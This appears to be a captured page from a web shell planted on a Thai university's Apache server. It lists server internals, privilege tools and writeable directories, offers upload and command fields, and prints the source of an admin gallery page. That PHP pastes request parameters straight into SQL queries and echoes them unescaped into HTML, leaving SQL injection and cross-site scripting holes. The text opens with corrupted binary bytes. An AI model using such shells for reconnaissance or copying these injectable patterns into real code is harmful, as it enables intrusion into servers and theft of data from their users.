h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/arit/igallery/admin/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/arit/igallery/admin/pages/index-2024-02-05.php
<?php include 'check_mode_admin.php';?>
<?php include 'dbconnect.php';?>
<?php include 'header.php';?>

<?php
	$pagetitle_text = "รายชื่อกิจกรรม";
	$strKeyword = null;
	$exhibition_type_id = null;
	
	if(isset($_POST["txtKeyword"]))
	{
		$strKeyword = $_POST["txtKeyword"];
	}
	if(isset($_GET["txtKeyword"]))
	{
		$strKeyword = $_GET["txtKeyword"];
	}
	if(isset($_GET["exhibition_type_id"]))
	{
		$exhibition_type_id = $_GET["exhibition_type_id"];
	}

	if ($strKeyword <> "")
	{
		$new_type_show="ภาพกิจกรรมเกี่ยวกับ" . $strKeyword;
	}
	elseif ($exhibition_type_id <> "")
	{
		$sql = "SELECT * from exhibition_type";
		$sql .= " WHERE exhibition_type_id =" . $exhibition_type_id;
		$query = mysqli_query($conn,$sql);
		if($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
		{
			$new_type_show = $result["exhibition_type_name"];
		}
		else
		{
			$new_type_show = "ภาพกิจกรรมประเภทไม่ปรากฏ";
		}
		
	}
	else
	{
		$new_type_show="ภาพกิจกรรมทั้งหมด";
	}	
?>		  
                        <h1 class="page-header"><?php echo $new_type_show;?>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="index.php"><button type="button" class="btn btn-warning">ดูทั้งหมด</button></a>
						&nbsp;&nbsp;&nbsp;<a href="gallery_detail_add.php"><button type="button" class="btn btn-primary">เพิ่มกิจกรรม</button></a>					
						</h1>

<form name="frmSearch" method="post" action="<?php echo $_SERVER['SCRIPT_NAME'];?>">
  <table width="599" border="0">
    <tr>
      <th>คำค้น
      <input name="txtKeyword" type="text" id="txtKeyword" value="<?php echo $strKeyword;?>">
      <input type="submit" value="Search"></th>
    </tr>
  </table>
</form>
<BR>
<?php	
	$sql = "SELECT * from gallery";
	$sql .= " WHERE album_id=2";	
	if ($strKeyword <> "") {
		$sql .= " AND ( (gallery_name LIKE '%" . $strKeyword . "%') OR (gallery_name_eng LIKE '%" . $strKeyword . "%') )"; 
	}
	elseif ($exhibition_type_id <>"")
	{
		$sql .= " AND (exhibition_type_id=" . $exhibition_type_id . ")";
	}
	$sql .= " ORDER BY gallery_date DESC, gallery_id DESC";

	//$sql = "SELECT * from gallery";
	//$sql .= " WHERE album_id=2";
	//$sql .= " WHERE ( (gallery_name LIKE '%" . $strKeyword . "%')";
	//$sql .= " OR (gallery_detail LIKE '%" . $strKeyword . "%')";
	//$sql .= " ORDER BY gallery_date DESC";

	$query = mysqli_query($conn,$sql);

	$num_rows = mysqli_num_rows($query);

	$per_page = 20;   // Per Page
	$page  = 1;
	
	if(isset($_GET["Page"]))
	{
		$page = $_GET["Page"];
	}

	$prev_page = $page-1;
	$next_page = $page+1;

	$row_start = (($per_page*$page)-$per_page);
	if($num_rows<=$per_page)
	{
		$num_pages =1;
	}
	else if(($num_rows % $per_page)==0)
	{
		$num_pages =($num_rows/$per_page) ;
	}
	else
	{
		$num_pages =($num_rows/$per_page)+1;
		$num_pages = (int)$num_pages;
	}

	$row_end = $per_page;
	//$row_end = $per_page * $page;
	//if($row_end > $num_rows)
	//{
	//	$row_end = $num_rows;
	//}


	$sql .= " LIMIT $row_start ,$row_end";
	$query = mysqli_query($conn,$sql);
?>
                                <table class="table table-striped table-bordered table-hover">
                                    <thead>
                                        <tr>
										<th><div align="center">id</div></th>
										<th><div align="center">ภาพ</div></th>
                                        <th><div align="center">ชื่อกิจกรรม</div></th>
                                        <th><div align="center">รายละเอียด</div></th>
										<th><div align="center">วันที่</div></th>
										<th><div align="center">ประเภทกิจกรรม</div></th>
                                        </tr>
                                    </thead>
                                <tbody>
<?php
while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
{
?>
                                    <tr>
<?php
	$gallery_detail_url = "gallery_detail.php?id=" . $result["gallery_id"];
	if ($strKeyword<>"")
	{
		$gallery_detail_url .= "&txtKeyword=" . $strKeyword;
	}
	if ($page<>"")
	{
		$gallery_detail_url .= "&IndexPage=" . $page;
	}
	if ($exhibition_type_id<>"")
	{
		$gallery_detail_url .= "&exhibition_type_id=" . $exhibition_type_id;
	}
?>									
										<td><a href="<?php echo $gallery_detail_url;?>"><?php echo $result["gallery_id"];?></a></td>
<?php
		$sql2 = "SELECT * from gallery_image";
		$sql2 .= " WHERE (gallery_id=" . $result["gallery_id"] . ") AND (is_cover_image=1)";
		$query2 = mysqli_query($conn,$sql2);
		if ($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC))
		{
			$cover_image = "../../image_gallery/" . $result["gallery_id"] . "/" . $result2["image_file"];
		}
		else
		{
			$sql2 = "SELECT * from gallery_image";
			$sql2 .= " WHERE (gallery_id=" . $result["gallery_id"] . ")";
			$sql2 .= " ORDER BY image_order ASC";
			$query2 = mysqli_query($conn,$sql2);
			if ($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC))
			{
				$cover_image = "../../image_gallery/" . $result["gallery_id"] . "/" . $result2["image_file"];
			}	
			else
			{
				$cover_image = "";
			}	
		}	
?>											
										<td><a href="<?php echo $gallery_detail_url;?>"><img src="<?php echo $cover_image;?>" width="200"/></a></td>
										<td><a href="<?php echo $gallery_detail_url;?>"><?php echo $result["gallery_name"];?></a></td>
										<td><?php echo $result["gallery_detail"];?></td>
										<td><?php echo $result["gallery_date"];?></td>	
										<td>
<?php
		$sql2 = "SELECT * from exhibition_type";
		$sql2 .= " WHERE exhibition_type_id =" . $result["exhibition_type_id"];
		$query2 = mysqli_query($conn,$sql2);
		if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC))
		{
			echo $result2["exhibition_type_name"];
		}
		else
		{
			echo "ไม่ปรากฏประเภทกิจกรรม";
		}
?>											
										</td>									
                                    </tr>
<?php
}
?>									
                                </tbody>
                            </table>
                            <!-- /.table-responsive -->

<br>
Total <?php echo $num_rows;?> Gallery : <?php echo $num_pages;?> Page :
<?php
if($prev_page)
{
	echo " <a href='$_SERVER[SCRIPT_NAME]?Page=$prev_page&txtKeyword=$strKeyword'><< Back</a> ";
}

for($i=1; $i<=$num_pages; $i++){
	if($i != $page)
	{
		echo "[ <a href='$_SERVER[SCRIPT_NAME]?Page=$i&txtKeyword=$strKeyword'>$i</a> ]";
	}
	else
	{
		echo "<b> $i </b>";
	}
}
if($page!=$num_pages)
{
	echo " <a href ='$_SERVER[SCRIPT_NAME]?Page=$next_page&txtKeyword=$strKeyword'>Next>></a> ";
}							
?>
<BR><BR><BR>

<?php include 'footer.php';?>

Youez - 2016 - github.com/yon3zu
LinuXploit